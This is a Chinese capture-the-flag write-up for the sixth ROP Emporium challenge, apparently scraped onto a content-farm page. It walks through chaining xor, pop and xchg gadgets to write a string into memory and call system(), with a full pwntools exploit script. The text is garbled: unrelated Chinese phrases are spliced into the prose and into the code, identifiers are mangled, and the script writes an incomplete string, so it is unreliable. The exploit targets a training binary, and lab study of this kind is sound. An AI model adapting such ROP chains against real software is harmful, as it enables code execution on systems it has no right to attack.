ROPEmporium通关全解(六)

更新时间:2023-07-18 19:30:11 阅读: 评论:0

ROPEmporium通关全解(六)
前⾔
1.关于ROP
ROP的全称为Return-oriented programming(返回导向编程),这是⼀种⾼级的内存攻击技术可以⽤来绕过现代操作系统的各种通⽤防御(⽐如内存不可执⾏和代码签名等)
ROP是⼀种攻击技术,其中攻击者使⽤堆栈的控制来在现有程序代码中的⼦程序中的返回指令之前,⽴即间接地执⾏精⼼挑选的指令或机器指令组。
2. 本系列rop实战题⽬的背景
来⾃ROPEmporium
旨在通过解决⼀系列挑战来⼀步步进阶学习ROP利⽤技术。
操作
先看⼀下基本信息
然后载⼊r2分析
分别看看pwnme和ufulFunction
可以看到这些结构和之前的关卡基本相同
那覆盖rsp所需的偏移量呢?
可以⾃⼰做⼀遍
这⾥直接给出答案,偏移量还是40字节
然后使⽤ropgadget找到有⽤的gadget
⾸先我们要找到⼀个gadget⽤于将字符串写⼊内存
mov适合的似乎只有下⾯这⼀条
如果⽤了这⼀条,那么下⼀个要解决的问题就是怎么将值写⼊r10、r11寄存器呢
似乎没有可直接写的办法,这时候我们常⽤的解决办法就是组合多个gadget以将值写⼊r10为例,我们看看该如何操作
那么这⾥就需要注意了,按照前⾯的默认命令,其实ropgadget的搜索深度是10
既然我们需要组合多个gadget,既然越多越多,所以我们可以加上—depth 20,将深度设为20
咸丰十一年⾸先清空r11,有两个办法,要么置零,要么与⾃⾝异或
我们看看gadget⾥有没有符合的
找到了
接下来把地址pop到r12⾥
对应的gadget为
前⾯r11已经是0了,我们将r12与r11异或,这样其实就相当于间接地使⽤了mov,将值写⼊了r11
对应的gadget为过年高速免费吗
然后使⽤xchg交换r11和r10寄存器的值,这样就相当于将地址写到了r10寄存器中
这样就实现了我们的⽬的
做完这部分⼯作之后,我们只需pop rdi,ret,字符串的地址作为system()参数传⼊,再调⽤system()就可以了
完整代码在6.py
from pwn import *
轿子def place_address(address):
payload = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret;
payload += p64(0) # Unud pop r14
payload += p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret;
payload += p64(address)
payload += p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;
payload += p64(0) # Unud pop r12
payload += p64(0x0000000000400840) # xchg r11, r10; pop r15; mov r11d, 0x602050; ret;小猫咪图片可爱
payload += p64(0) # Unud pop r15
return payload
def place_data(data):
payload = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret;
payload += p64(0) # Unud pop r14
payload += p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret;
梦到吃饭
payload += data # String to be putted
payload += p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;
payload += p64(0) # Unud pop r12
四国军棋游戏大厅return payload
def write_data(string, address):
while len(string) % 8 != 0:
string += "\x00"
splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
payload = ""
for i in range(len(splitted_string)):
# Put address into r10 register
payload += place_address(address + (i * 8))
# Now we have to put actual data in r11
payload += place_data(splitted_string[i])
# Write data to address
payload += p64(0x000000000040084e) # mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret;        payload += p64(0) * 2 # Unud pop r13 and pop r12
return payload
offt = cyclic(40)
offt += write_data("/bin/", 0x601050)
offt += p64(0x00000000004008c3)
offt += p64(0x601050)
贾樟柯世界offt += p64(0x00400810)
print(offt)
运⾏如图
氢弹爆炸图片

本文发布于:2023-07-18 19:30:11,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/82/1103634.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:偏移量   技术   组合   内存   地址   看看   图片
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图